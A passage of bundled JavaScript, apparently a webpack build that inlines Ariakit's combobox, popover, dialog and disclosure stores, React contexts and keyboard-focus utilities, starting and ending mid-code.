37602 const sortedItems = flipItems(loopItems, activeId2, hasNullItem);
37603 const nextItem2 = findFirstEnabledItem(sortedItems, activeId2);
37604 return nextItem2 == null ? void 0 : nextItem2.id;
37605 }
37606 if (canWrap) {
37607 const nextItem2 = findFirstEnabledItem(
37608 // We can use nextItems, which contains all the next items, including
37609 // items from other rows, to wrap between rows. However, if there is a
37610 // null item (the composite container), we'll only use the next items in
37611 // the row. So moving next from the last item will focus on the
37612 // composite container. On grid composites, horizontal navigation never
37613 // focuses on the composite container, only vertical.
37614 hasNullItem ? nextItemsInRow : nextItems,
37615 activeId2
37616 );
37617 const nextId = hasNullItem ? (nextItem2 == null ? void 0 : nextItem2.id) || null : nextItem2 == null ? void 0 : nextItem2.id;
37618 return nextId;
37619 }
37620 const nextItem = findFirstEnabledItem(nextItemsInRow, activeId2);
37621 if (!nextItem && hasNullItem) {
37622 return null;
37623 }
37624 return nextItem == null ? void 0 : nextItem.id;
37625 };
37626 return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, collection), composite), {
37627 setBaseElement: (element) => composite.setState("baseElement", element),
37628 setActiveId: (id) => composite.setState("activeId", id),
37629 move: (id) => {
37630 if (id === void 0) return;
37631 composite.setState("activeId", id);
37632 composite.setState("moves", (moves) => moves + 1);
37633 },
37634 first: () => {
37635 var _a2;
37636 return (_a2 = findFirstEnabledItem(composite.getState().renderedItems)) == null ? void 0 : _a2.id;
37637 },
37638 last: () => {
37639 var _a2;
37640 return (_a2 = findFirstEnabledItem(reverseArray(composite.getState().renderedItems))) == null ? void 0 : _a2.id;
37641 },
37642 next: (options) => {
37643 if (options !== void 0 && typeof options === "number") {
37644 options = { skip: options };
37645 }
37646 return getNextId("next", options);
37647 },
37648 previous: (options) => {
37649 if (options !== void 0 && typeof options === "number") {
37650 options = { skip: options };
37651 }
37652 return getNextId("previous", options);
37653 },
37654 down: (options) => {
37655 if (options !== void 0 && typeof options === "number") {
37656 options = { skip: options };
37657 }
37658 return getNextId("down", options);
37659 },
37660 up: (options) => {
37661 if (options !== void 0 && typeof options === "number") {
37662 options = { skip: options };
37663 }
37664 return getNextId("up", options);
37665 }
37666 });
37667}
37668
37669
37670
37671;// ./node_modules/@ariakit/core/esm/__chunks/RCQ5P4YE.js
37672"use client";
37673
37674
37675
37676
37677// src/disclosure/disclosure-store.ts
37678function createDisclosureStore(props = {}) {
37679 const store = mergeStore(
37680 props.store,
37681 omit2(props.disclosure, ["contentElement", "disclosureElement"])
37682 );
37683 throwOnConflictingProps(props, store);
37684 const syncState = store == null ? void 0 : store.getState();
37685 const open = defaultValue(
37686 props.open,
37687 syncState == null ? void 0 : syncState.open,
37688 props.defaultOpen,
37689 false
37690 );
37691 const animated = defaultValue(props.animated, syncState == null ? void 0 : syncState.animated, false);
37692 const initialState = {
37693 open,
37694 animated,
37695 animating: !!animated && open,
37696 mounted: open,
37697 contentElement: defaultValue(syncState == null ? void 0 : syncState.contentElement, null),
37698 disclosureElement: defaultValue(syncState == null ? void 0 : syncState.disclosureElement, null)
37699 };
37700 const disclosure = createStore(initialState, store);
37701 setup(
37702 disclosure,
37703 () => sync(disclosure, ["animated", "animating"], (state) => {
37704 if (state.animated) return;
37705 disclosure.setState("animating", false);
37706 })
37707 );
37708 setup(
37709 disclosure,
37710 () => subscribe(disclosure, ["open"], () => {
37711 if (!disclosure.getState().animated) return;
37712 disclosure.setState("animating", true);
37713 })
37714 );
37715 setup(
37716 disclosure,
37717 () => sync(disclosure, ["open", "animating"], (state) => {
37718 disclosure.setState("mounted", state.open || state.animating);
37719 })
37720 );
37721 return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, disclosure), {
37722 disclosure: props.disclosure,
37723 setOpen: (value) => disclosure.setState("open", value),
37724 show: () => disclosure.setState("open", true),
37725 hide: () => disclosure.setState("open", false),
37726 toggle: () => disclosure.setState("open", (open2) => !open2),
37727 stopAnimation: () => disclosure.setState("animating", false),
37728 setContentElement: (value) => disclosure.setState("contentElement", value),
37729 setDisclosureElement: (value) => disclosure.setState("disclosureElement", value)
37730 });
37731}
37732
37733
37734
37735;// ./node_modules/@ariakit/core/esm/__chunks/FZZ2AVHF.js
37736"use client";
37737
37738
37739// src/dialog/dialog-store.ts
37740function createDialogStore(props = {}) {
37741 return createDisclosureStore(props);
37742}
37743
37744
37745
37746;// ./node_modules/@ariakit/core/esm/__chunks/ME2CUF3F.js
37747"use client";
37748
37749
37750
37751
37752
37753// src/popover/popover-store.ts
37754function createPopoverStore(_a = {}) {
37755 var _b = _a, {
37756 popover: otherPopover
37757 } = _b, props = _3YLGPPWQ_objRest(_b, [
37758 "popover"
37759 ]);
37760 const store = mergeStore(
37761 props.store,
37762 omit2(otherPopover, [
37763 "arrowElement",
37764 "anchorElement",
37765 "contentElement",
37766 "popoverElement",
37767 "disclosureElement"
37768 ])
37769 );
37770 throwOnConflictingProps(props, store);
37771 const syncState = store == null ? void 0 : store.getState();
37772 const dialog = createDialogStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), { store }));
37773 const placement = defaultValue(
37774 props.placement,
37775 syncState == null ? void 0 : syncState.placement,
37776 "bottom"
37777 );
37778 const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, dialog.getState()), {
37779 placement,
37780 currentPlacement: placement,
37781 anchorElement: defaultValue(syncState == null ? void 0 : syncState.anchorElement, null),
37782 popoverElement: defaultValue(syncState == null ? void 0 : syncState.popoverElement, null),
37783 arrowElement: defaultValue(syncState == null ? void 0 : syncState.arrowElement, null),
37784 rendered: Symbol("rendered")
37785 });
37786 const popover = createStore(initialState, dialog, store);
37787 return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, dialog), popover), {
37788 setAnchorElement: (element) => popover.setState("anchorElement", element),
37789 setPopoverElement: (element) => popover.setState("popoverElement", element),
37790 setArrowElement: (element) => popover.setState("arrowElement", element),
37791 render: () => popover.setState("rendered", Symbol("rendered"))
37792 });
37793}
37794
37795
37796
37797;// ./node_modules/@ariakit/core/esm/combobox/combobox-store.js
37798"use client";
37799
37800
37801
37802
37803
37804
37805
37806
37807
37808
37809
37810
37811// src/combobox/combobox-store.ts
37812var isTouchSafari = isSafari() && isTouchDevice();
37813function createComboboxStore(_a = {}) {
37814 var _b = _a, {
37815 tag
37816 } = _b, props = _3YLGPPWQ_objRest(_b, [
37817 "tag"
37818 ]);
37819 const store = mergeStore(props.store, pick2(tag, ["value", "rtl"]));
37820 throwOnConflictingProps(props, store);
37821 const tagState = tag == null ? void 0 : tag.getState();
37822 const syncState = store == null ? void 0 : store.getState();
37823 const activeId = defaultValue(
37824 props.activeId,
37825 syncState == null ? void 0 : syncState.activeId,
37826 props.defaultActiveId,
37827 null
37828 );
37829 const composite = createCompositeStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), {
37830 activeId,
37831 includesBaseElement: defaultValue(
37832 props.includesBaseElement,
37833 syncState == null ? void 0 : syncState.includesBaseElement,
37834 true
37835 ),
37836 orientation: defaultValue(
37837 props.orientation,
37838 syncState == null ? void 0 : syncState.orientation,
37839 "vertical"
37840 ),
37841 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, true),
37842 focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, true),
37843 virtualFocus: defaultValue(
37844 props.virtualFocus,
37845 syncState == null ? void 0 : syncState.virtualFocus,
37846 true
37847 )
37848 }));
37849 const popover = createPopoverStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), {
37850 placement: defaultValue(
37851 props.placement,
37852 syncState == null ? void 0 : syncState.placement,
37853 "bottom-start"
37854 )
37855 }));
37856 const value = defaultValue(
37857 props.value,
37858 syncState == null ? void 0 : syncState.value,
37859 props.defaultValue,
37860 ""
37861 );
37862 const selectedValue = defaultValue(
37863 props.selectedValue,
37864 syncState == null ? void 0 : syncState.selectedValue,
37865 tagState == null ? void 0 : tagState.values,
37866 props.defaultSelectedValue,
37867 ""
37868 );
37869 const multiSelectable = Array.isArray(selectedValue);
37870 const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, composite.getState()), popover.getState()), {
37871 value,
37872 selectedValue,
37873 resetValueOnSelect: defaultValue(
37874 props.resetValueOnSelect,
37875 syncState == null ? void 0 : syncState.resetValueOnSelect,
37876 multiSelectable
37877 ),
37878 resetValueOnHide: defaultValue(
37879 props.resetValueOnHide,
37880 syncState == null ? void 0 : syncState.resetValueOnHide,
37881 multiSelectable && !tag
37882 ),
37883 activeValue: syncState == null ? void 0 : syncState.activeValue
37884 });
37885 const combobox = createStore(initialState, composite, popover, store);
37886 if (isTouchSafari) {
37887 setup(
37888 combobox,
37889 () => sync(combobox, ["virtualFocus"], () => {
37890 combobox.setState("virtualFocus", false);
37891 })
37892 );
37893 }
37894 setup(combobox, () => {
37895 if (!tag) return;
37896 return chain(
37897 sync(combobox, ["selectedValue"], (state) => {
37898 if (!Array.isArray(state.selectedValue)) return;
37899 tag.setValues(state.selectedValue);
37900 }),
37901 sync(tag, ["values"], (state) => {
37902 combobox.setState("selectedValue", state.values);
37903 })
37904 );
37905 });
37906 setup(
37907 combobox,
37908 () => sync(combobox, ["resetValueOnHide", "mounted"], (state) => {
37909 if (!state.resetValueOnHide) return;
37910 if (state.mounted) return;
37911 combobox.setState("value", value);
37912 })
37913 );
37914 setup(
37915 combobox,
37916 () => sync(combobox, ["open"], (state) => {
37917 if (state.open) return;
37918 combobox.setState("activeId", activeId);
37919 combobox.setState("moves", 0);
37920 })
37921 );
37922 setup(
37923 combobox,
37924 () => sync(combobox, ["moves", "activeId"], (state, prevState) => {
37925 if (state.moves === prevState.moves) {
37926 combobox.setState("activeValue", void 0);
37927 }
37928 })
37929 );
37930 setup(
37931 combobox,
37932 () => batch(combobox, ["moves", "renderedItems"], (state, prev) => {
37933 if (state.moves === prev.moves) return;
37934 const { activeId: activeId2 } = combobox.getState();
37935 const activeItem = composite.item(activeId2);
37936 combobox.setState("activeValue", activeItem == null ? void 0 : activeItem.value);
37937 })
37938 );
37939 return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, popover), composite), combobox), {
37940 tag,
37941 setValue: (value2) => combobox.setState("value", value2),
37942 resetValue: () => combobox.setState("value", initialState.value),
37943 setSelectedValue: (selectedValue2) => combobox.setState("selectedValue", selectedValue2)
37944 });
37945}
37946
37947
37948;// ./node_modules/@ariakit/react-core/esm/__chunks/FEOFMWBY.js
37949"use client";
37950
37951
37952
37953
37954
37955
37956
37957// src/combobox/combobox-store.ts
37958
37959function useComboboxStoreOptions(props) {
37960 const tag = useTagContext();
37961 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
37962 tag: props.tag !== void 0 ? props.tag : tag
37963 });
37964 return useCompositeStoreOptions(props);
37965}
37966function useComboboxStoreProps(store, update, props) {
37967 useUpdateEffect(update, [props.tag]);
37968 useStoreProps(store, props, "value", "setValue");
37969 useStoreProps(store, props, "selectedValue", "setSelectedValue");
37970 useStoreProps(store, props, "resetValueOnHide");
37971 useStoreProps(store, props, "resetValueOnSelect");
37972 return Object.assign(
37973 useCompositeStoreProps(
37974 usePopoverStoreProps(store, update, props),
37975 update,
37976 props
37977 ),
37978 { tag: props.tag }
37979 );
37980}
37981function useComboboxStore(props = {}) {
37982 props = useComboboxStoreOptions(props);
37983 const [store, update] = YV4JVR4I_useStore(createComboboxStore, props);
37984 return useComboboxStoreProps(store, update, props);
37985}
37986
37987
37988
37989;// ./node_modules/@ariakit/react-core/esm/__chunks/S6EF7IVO.js
37990"use client";
37991
37992
37993// src/disclosure/disclosure-context.tsx
37994var S6EF7IVO_ctx = createStoreContext();
37995var useDisclosureContext = S6EF7IVO_ctx.useContext;
37996var useDisclosureScopedContext = S6EF7IVO_ctx.useScopedContext;
37997var useDisclosureProviderContext = S6EF7IVO_ctx.useProviderContext;
37998var DisclosureContextProvider = S6EF7IVO_ctx.ContextProvider;
37999var DisclosureScopedContextProvider = S6EF7IVO_ctx.ScopedContextProvider;
38000
38001
38002
38003;// ./node_modules/@ariakit/react-core/esm/__chunks/RS7LB2H4.js
38004"use client";
38005
38006
38007
38008// src/dialog/dialog-context.tsx
38009
38010var RS7LB2H4_ctx = createStoreContext(
38011 [DisclosureContextProvider],
38012 [DisclosureScopedContextProvider]
38013);
38014var useDialogContext = RS7LB2H4_ctx.useContext;
38015var useDialogScopedContext = RS7LB2H4_ctx.useScopedContext;
38016var useDialogProviderContext = RS7LB2H4_ctx.useProviderContext;
38017var DialogContextProvider = RS7LB2H4_ctx.ContextProvider;
38018var DialogScopedContextProvider = RS7LB2H4_ctx.ScopedContextProvider;
38019var DialogHeadingContext = (0,external_React_.createContext)(void 0);
38020var DialogDescriptionContext = (0,external_React_.createContext)(void 0);
38021
38022
38023
38024;// ./node_modules/@ariakit/react-core/esm/__chunks/MTZPJQMC.js
38025"use client";
38026
38027
38028
38029// src/popover/popover-context.tsx
38030var MTZPJQMC_ctx = createStoreContext(
38031 [DialogContextProvider],
38032 [DialogScopedContextProvider]
38033);
38034var usePopoverContext = MTZPJQMC_ctx.useContext;
38035var usePopoverScopedContext = MTZPJQMC_ctx.useScopedContext;
38036var usePopoverProviderContext = MTZPJQMC_ctx.useProviderContext;
38037var PopoverContextProvider = MTZPJQMC_ctx.ContextProvider;
38038var PopoverScopedContextProvider = MTZPJQMC_ctx.ScopedContextProvider;
38039
38040
38041
38042;// ./node_modules/@ariakit/react-core/esm/__chunks/VEVQD5MH.js
38043"use client";
38044
38045
38046
38047
38048// src/combobox/combobox-context.tsx
38049
38050var ComboboxListRoleContext = (0,external_React_.createContext)(
38051 void 0
38052);
38053var VEVQD5MH_ctx = createStoreContext(
38054 [PopoverContextProvider, CompositeContextProvider],
38055 [PopoverScopedContextProvider, CompositeScopedContextProvider]
38056);
38057var useComboboxContext = VEVQD5MH_ctx.useContext;
38058var useComboboxScopedContext = VEVQD5MH_ctx.useScopedContext;
38059var useComboboxProviderContext = VEVQD5MH_ctx.useProviderContext;
38060var ComboboxContextProvider = VEVQD5MH_ctx.ContextProvider;
38061var ComboboxScopedContextProvider = VEVQD5MH_ctx.ScopedContextProvider;
38062var ComboboxItemValueContext = (0,external_React_.createContext)(
38063 void 0
38064);
38065var ComboboxItemCheckedContext = (0,external_React_.createContext)(false);
38066
38067
38068
38069;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-provider.js
38070"use client";
38071
38072
38073
38074
38075
38076
38077
38078
38079
38080
38081
38082
38083
38084
38085
38086
38087
38088
38089
38090// src/combobox/combobox-provider.tsx
38091
38092function ComboboxProvider(props = {}) {
38093 const store = useComboboxStore(props);
38094 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxContextProvider, { value: store, children: props.children });
38095}
38096
38097
38098;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-label.js
38099"use client";
38100
38101
38102
38103
38104
38105
38106
38107
38108
38109
38110
38111// src/combobox/combobox-label.tsx
38112
38113var TagName = "label";
38114var useComboboxLabel = createHook(
38115 function useComboboxLabel2(_a) {
38116 var _b = _a, { store } = _b, props = __objRest(_b, ["store"]);
38117 const context = useComboboxProviderContext();
38118 store = store || context;
38119 invariant(
38120 store,
38121 false && 0
38122 );
38123 const comboboxId = store.useState((state) => {
38124 var _a2;
38125 return (_a2 = state.baseElement) == null ? void 0 : _a2.id;
38126 });
38127 props = _3YLGPPWQ_spreadValues({
38128 htmlFor: comboboxId
38129 }, props);
38130 return removeUndefinedValues(props);
38131 }
38132);
38133var ComboboxLabel = memo2(
38134 forwardRef2(function ComboboxLabel2(props) {
38135 const htmlProps = useComboboxLabel(props);
38136 return createElement(TagName, htmlProps);
38137 })
38138);
38139
38140
38141;// ./node_modules/@ariakit/react-core/esm/__chunks/OMU7RWRV.js
38142"use client";
38143
38144
38145
38146
38147
38148// src/popover/popover-anchor.tsx
38149var OMU7RWRV_TagName = "div";
38150var usePopoverAnchor = createHook(
38151 function usePopoverAnchor2(_a) {
38152 var _b = _a, { store } = _b, props = __objRest(_b, ["store"]);
38153 const context = usePopoverProviderContext();
38154 store = store || context;
38155 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
38156 ref: useMergeRefs(store == null ? void 0 : store.setAnchorElement, props.ref)
38157 });
38158 return props;
38159 }
38160);
38161var PopoverAnchor = forwardRef2(function PopoverAnchor2(props) {
38162 const htmlProps = usePopoverAnchor(props);
38163 return createElement(OMU7RWRV_TagName, htmlProps);
38164});
38165
38166
38167
38168;// ./node_modules/@ariakit/react-core/esm/__chunks/5VQZOHHZ.js
38169"use client";
38170
38171// src/composite/utils.ts
38172
38173var _5VQZOHHZ_NULL_ITEM = { id: null };
38174function _5VQZOHHZ_flipItems(items, activeId, shouldInsertNullItem = false) {
38175 const index = items.findIndex((item) => item.id === activeId);
38176 return [
38177 ...items.slice(index + 1),
38178 ...shouldInsertNullItem ? [_5VQZOHHZ_NULL_ITEM] : [],
38179 ...items.slice(0, index)
38180 ];
38181}
38182function _5VQZOHHZ_findFirstEnabledItem(items, excludeId) {
38183 return items.find((item) => {
38184 if (excludeId) {
38185 return !item.disabled && item.id !== excludeId;
38186 }
38187 return !item.disabled;
38188 });
38189}
38190function getEnabledItem(store, id) {
38191 if (!id) return null;
38192 return store.item(id) || null;
38193}
38194function _5VQZOHHZ_groupItemsByRows(items) {
38195 const rows = [];
38196 for (const item of items) {
38197 const row = rows.find((currentRow) => {
38198 var _a;
38199 return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
38200 });
38201 if (row) {
38202 row.push(item);
38203 } else {
38204 rows.push([item]);
38205 }
38206 }
38207 return rows;
38208}
38209function selectTextField(element, collapseToEnd = false) {
38210 if (isTextField(element)) {
38211 element.setSelectionRange(
38212 collapseToEnd ? element.value.length : 0,
38213 element.value.length
38214 );
38215 } else if (element.isContentEditable) {
38216 const selection = getDocument(element).getSelection();
38217 selection == null ? void 0 : selection.selectAllChildren(element);
38218 if (collapseToEnd) {
38219 selection == null ? void 0 : selection.collapseToEnd();
38220 }
38221 }
38222}
38223var FOCUS_SILENTLY = Symbol("FOCUS_SILENTLY");
38224function focusSilently(element) {
38225 element[FOCUS_SILENTLY] = true;
38226 element.focus({ preventScroll: true });
38227}
38228function silentlyFocused(element) {
38229 const isSilentlyFocused = element[FOCUS_SILENTLY];
38230 delete element[FOCUS_SILENTLY];
38231 return isSilentlyFocused;
38232}
38233function isItem(store, element, exclude) {
38234 if (!element) return false;
38235 if (element === exclude) return false;
38236 const item = store.item(element.id);
38237 if (!item) return false;
38238 if (exclude && item.element === exclude) return false;
38239 return true;
38240}
38241
38242
38243
38244;// ./node_modules/@ariakit/react-core/esm/__chunks/SWN3JYXT.js
38245"use client";
38246
38247// src/focusable/focusable-context.tsx
38248
38249var FocusableContext = (0,external_React_.createContext)(true);
38250
38251
38252
38253;// ./node_modules/@ariakit/core/esm/utils/focus.js
38254"use client";
38255
38256
38257
38258// src/utils/focus.ts
38259var selector = "input:not([type='hidden']):not([disabled]), select:not([disabled]), textarea:not([disabled]), a[href], button:not([disabled]), [tabindex], summary, iframe, object, embed, area[href], audio[controls], video[controls], [contenteditable]:not([contenteditable='false'])";
38260function hasNegativeTabIndex(element) {
38261 const tabIndex = Number.parseInt(element.getAttribute("tabindex") || "0", 10);
38262 return tabIndex < 0;
38263}
38264function isFocusable(element) {
38265 if (!element.matches(selector)) return false;
38266 if (!isVisible(element)) return false;
38267 if (element.closest("[inert]")) return false;
38268 return true;
38269}
38270function isTabbable(element) {
38271 if (!isFocusable(element)) return false;
38272 if (hasNegativeTabIndex(element)) return false;
38273 if (!("form" in element)) return true;
38274 if (!element.form) return true;
38275 if (element.checked) return true;
38276 if (element.type !== "radio") return true;
38277 const radioGroup = element.form.elements.namedItem(element.name);
38278 if (!radioGroup) return true;
38279 if (!("length" in radioGroup)) return true;
38280 const activeElement = getActiveElement(element);
38281 if (!activeElement) return true;
38282 if (activeElement === element) return true;
38283 if (!("form" in activeElement)) return true;
38284 if (activeElement.form !== element.form) return true;
38285 if (activeElement.name !== element.name) return true;
38286 return false;
38287}
38288function getAllFocusableIn(container, includeContainer) {
38289 const elements = Array.from(
38290 container.querySelectorAll(selector)
38291 );
38292 if (includeContainer) {
38293 elements.unshift(container);
38294 }
38295 const focusableElements = elements.filter(isFocusable);
38296 focusableElements.forEach((element, i) => {
38297 if (isFrame(element) && element.contentDocument) {
38298 const frameBody = element.contentDocument.body;
38299 focusableElements.splice(i, 1, ...getAllFocusableIn(frameBody));
38300 }
38301 });
38302 return focusableElements;
38303}
38304function getAllFocusable(includeBody) {
38305 return getAllFocusableIn(document.body, includeBody);
38306}
38307function getFirstFocusableIn(container, includeContainer) {
38308 const [first] = getAllFocusableIn(container, includeContainer);
38309 return first || null;
38310}
38311function getFirstFocusable(includeBody) {
38312 return getFirstFocusableIn(document.body, includeBody);
38313}
38314function getAllTabbableIn(container, includeContainer, fallbackToFocusable) {
38315 const elements = Array.from(
38316 container.querySelectorAll(selector)
38317 );
38318 const tabbableElements = elements.filter(isTabbable);
38319 if (includeContainer && isTabbable(container)) {
38320 tabbableElements.unshift(container);
38321 }
38322 tabbableElements.forEach((element, i) => {
38323 if (isFrame(element) && element.contentDocument) {
38324 const frameBody = element.contentDocument.body;
38325 const allFrameTabbable = getAllTabbableIn(
38326 frameBody,
38327 false,
38328 fallbackToFocusable
38329 );
38330 tabbableElements.splice(i, 1, ...allFrameTabbable);
38331 }
38332 });
38333 if (!tabbableElements.length && fallbackToFocusable) {
38334 return elements;
38335 }
38336 return tabbableElements;
38337}
38338function getAllTabbable(fallbackToFocusable) {
38339 return getAllTabbableIn(document.body, false, fallbackToFocusable);
38340}
38341function getFirstTabbableIn(container, includeContainer, fallbackToFocusable) {
38342 const [first] = getAllTabbableIn(
38343 container,
38344 includeContainer,
38345 fallbackToFocusable
38346 );
38347 return first || null;
38348}
38349function getFirstTabbable(fallbackToFocusable) {
38350 return getFirstTabbableIn(document.body, false, fallbackToFocusable);
38351}
38352function getLastTabbableIn(container, includeContainer, fallbackToFocusable) {
38353 const allTabbable = getAllTabbableIn(
38354 container,
38355 includeContainer,
38356 fallbackToFocusable
38357 );
38358 return allTabbable[allTabbable.length - 1] || null;
38359}
38360function getLastTabbable(fallbackToFocusable) {
38361 return getLastTabbableIn(document.body, false, fallbackToFocusable);
38362}
38363function getNextTabbableIn(container, includeContainer, fallbackToFirst, fallbackToFocusable) {
38364 const activeElement = getActiveElement(container);
38365 const allFocusable = getAllFocusableIn(container, includeContainer);
38366 const activeIndex = allFocusable.indexOf(activeElement);
38367 const nextFocusableElements = allFocusable.slice(activeIndex + 1);
38368 return nextFocusableElements.find(isTabbable) || (fallbackToFirst ? allFocusable.find(isTabbable) : null) || (fallbackToFocusable ? nextFocusableElements[0] : null) || null;
38369}
38370function getNextTabbable(fallbackToFirst, fallbackToFocusable) {
38371 return getNextTabbableIn(
38372 document.body,
38373 false,
38374 fallbackToFirst,
38375 fallbackToFocusable
38376 );
38377}
38378function getPreviousTabbableIn(container, includeContainer, fallbackToLast, fallbackToFocusable) {
38379 const activeElement = getActiveElement(container);
38380 const allFocusable = getAllFocusableIn(container, includeContainer).reverse();
38381 const activeIndex = allFocusable.indexOf(activeElement);
38382 const previousFocusableElements = allFocusable.slice(activeIndex + 1);
38383 return previousFocusableElements.find(isTabbable) || (fallbackToLast ? allFocusable.find(isTabbable) : null) || (fallbackToFocusable ? previousFocusableElements[0] : null) || null;
38384}
38385function getPreviousTabbable(fallbackToFirst, fallbackToFocusable) {
38386 return getPreviousTabbableIn(
38387 document.body,
38388 false,
38389 fallbackToFirst,
38390 fallbackToFocusable
38391 );
38392}
38393function getClosestFocusable(element) {
38394 while (element && !isFocusable(element)) {
38395 element = element.closest(selector);
38396 }
38397 return element || null;
38398}
38399function hasFocus(element) {
38400 const activeElement = DTR5TSDJ_getActiveElement(element);
38401 if (!activeElement) return false;
38402 if (activeElement === element) return true;
38403 const activeDescendant = activeElement.getAttribute("aria-activedescendant");
38404 if (!activeDescendant) return false;
38405 return activeDescendant === element.id;
38406}
38407function hasFocusWithin(element) {
38408 const activeElement = DTR5TSDJ_getActiveElement(element);
38409 if (!activeElement) return false;
38410 if (contains(element, activeElement)) return true;
38411 const activeDescendant = activeElement.getAttribute("aria-activedescendant");
38412 if (!activeDescendant) return false;
38413 if (!("id" in element)) return false;
38414 if (activeDescendant === element.id) return true;
38415 return !!element.querySelector(`#${CSS.escape(activeDescendant)}`);
38416}
38417function focusIfNeeded(element) {
38418 if (!hasFocusWithin(element) && isFocusable(element)) {
38419 element.focus();
38420 }
38421}
38422function disableFocus(element) {
38423 var _a;
38424 const currentTabindex = (_a = element.getAttribute("tabindex")) != null ? _a : "";
38425 element.setAttribute("data-tabindex", currentTabindex);
38426 element.setAttribute("tabindex", "-1");
38427}
38428function disableFocusIn(container, includeContainer) {
38429 const tabbableElements = getAllTabbableIn(container, includeContainer);
38430 for (const element of tabbableElements) {
38431 disableFocus(element);
38432 }
38433}
38434function restoreFocusIn(container) {
38435 const elements = container.querySelectorAll("[data-tabindex]");
38436 const restoreTabIndex = (element) => {
38437 const tabindex = element.getAttribute("data-tabindex");
38438 element.removeAttribute("data-tabindex");
38439 if (tabindex) {
38440 element.setAttribute("tabindex", tabindex);
38441 } else {
38442 element.removeAttribute("tabindex");
38443 }
38444 };
38445 if (container.hasAttribute("data-tabindex")) {
38446 restoreTabIndex(container);
38447 }
38448 for (const element of elements) {
38449 restoreTabIndex(element);
38450 }
38451}
38452function focusIntoView(element, options) {
38453 if (!("scrollIntoView" in element)) {
38454 element.focus();
38455 } else {
38456 element.focus({ preventScroll: true });
38457 element.scrollIntoView(_chunks_3YLGPPWQ_spreadValues({ block: "nearest", inline: "nearest" }, options));
38458 }
38459}
38460
38461
38462;// ./node_modules/@ariakit/react-core/esm/__chunks/LVA2YJMS.js
38463"use client";
38464
38465
38466
38467
38468
38469// src/focusable/focusable.tsx
38470
38471
38472
38473
38474
38475
38476var LVA2YJMS_TagName = "div";
38477var isSafariBrowser = isSafari();
38478var alwaysFocusVisibleInputTypes = [
38479 "text",
38480 "search",
38481 "url",
38482 "tel",
38483 "email",
38484 "password",
38485 "number",
38486 "date",
38487 "month",
38488 "week",
38489 "time",
38490 "datetime",
38491 "datetime-local"
38492];
38493var safariFocusAncestorSymbol = Symbol("safariFocusAncestor");
38494function isSafariFocusAncestor(element) {
38495 if (!element) return false;
38496 return !!element[safariFocusAncestorSymbol];
38497}
38498function markSafariFocusAncestor(element, value) {
38499 if (!element) return;
38500 element[safariFocusAncestorSymbol] = value;
38501}
38502function isAlwaysFocusVisible(element) {
38503 const { tagName, readOnly, type } = element;
38504 if (tagName === "TEXTAREA" && !readOnly) return true;
38505 if (tagName === "SELECT" && !readOnly) return true;
38506 if (tagName === "INPUT" && !readOnly) {
38507 return alwaysFocusVisibleInputTypes.includes(type);
38508 }
38509 if (element.isContentEditable) return true;
38510 const role = element.getAttribute("role");
38511 if (role === "combobox" && element.dataset.name) {
38512 return true;
38513 }
38514 return false;
38515}
38516function getLabels(element) {
38517 if ("labels" in element) {
38518 return element.labels;
38519 }
38520 return null;
38521}
38522function isNativeCheckboxOrRadio(element) {
38523 const tagName = element.tagName.toLowerCase();
38524 if (tagName === "input" && element.type) {
38525 return element.type === "radio" || element.type === "checkbox";
38526 }
38527 return false;
38528}
38529function isNativeTabbable(tagName) {
38530 if (!tagName) return true;
38531 return tagName === "button" || tagName === "summary" || tagName === "input" || tagName === "select" || tagName === "textarea" || tagName === "a";
38532}
38533function supportsDisabledAttribute(tagName) {
38534 if (!tagName) return true;
38535 return tagName === "button" || tagName === "input" || tagName === "select" || tagName === "textarea";
38536}
38537function getTabIndex(focusable, trulyDisabled, nativeTabbable, supportsDisabled, tabIndexProp) {
38538 if (!focusable) {
38539 return tabIndexProp;
38540 }
38541 if (trulyDisabled) {
38542 if (nativeTabbable && !supportsDisabled) {
38543 return -1;
38544 }
38545 return;
38546 }
38547 if (nativeTabbable) {
38548 return tabIndexProp;
38549 }
38550 return tabIndexProp || 0;
38551}
38552function useDisableEvent(onEvent, disabled) {
38553 return useEvent((event) => {
38554 onEvent == null ? void 0 : onEvent(event);
38555 if (event.defaultPrevented) return;
38556 if (disabled) {
38557 event.stopPropagation();
38558 event.preventDefault();
38559 }
38560 });
38561}
38562var isKeyboardModality = true;
38563function onGlobalMouseDown(event) {
38564 const target = event.target;
38565 if (target && "hasAttribute" in target) {
38566 if (!target.hasAttribute("data-focus-visible")) {
38567 isKeyboardModality = false;
38568 }
38569 }
38570}
38571function onGlobalKeyDown(event) {
38572 if (event.metaKey) return;
38573 if (event.ctrlKey) return;
38574 if (event.altKey) return;
38575 isKeyboardModality = true;
38576}
38577var useFocusable = createHook(
38578 function useFocusable2(_a) {
38579 var _b = _a, {
38580 focusable = true,
38581 accessibleWhenDisabled,
38582 autoFocus,
38583 onFocusVisible
38584 } = _b, props = __objRest(_b, [
38585 "focusable",
38586 "accessibleWhenDisabled",
38587 "autoFocus",
38588 "onFocusVisible"
38589 ]);
38590 const ref = (0,external_React_.useRef)(null);
38591 (0,external_React_.useEffect)(() => {
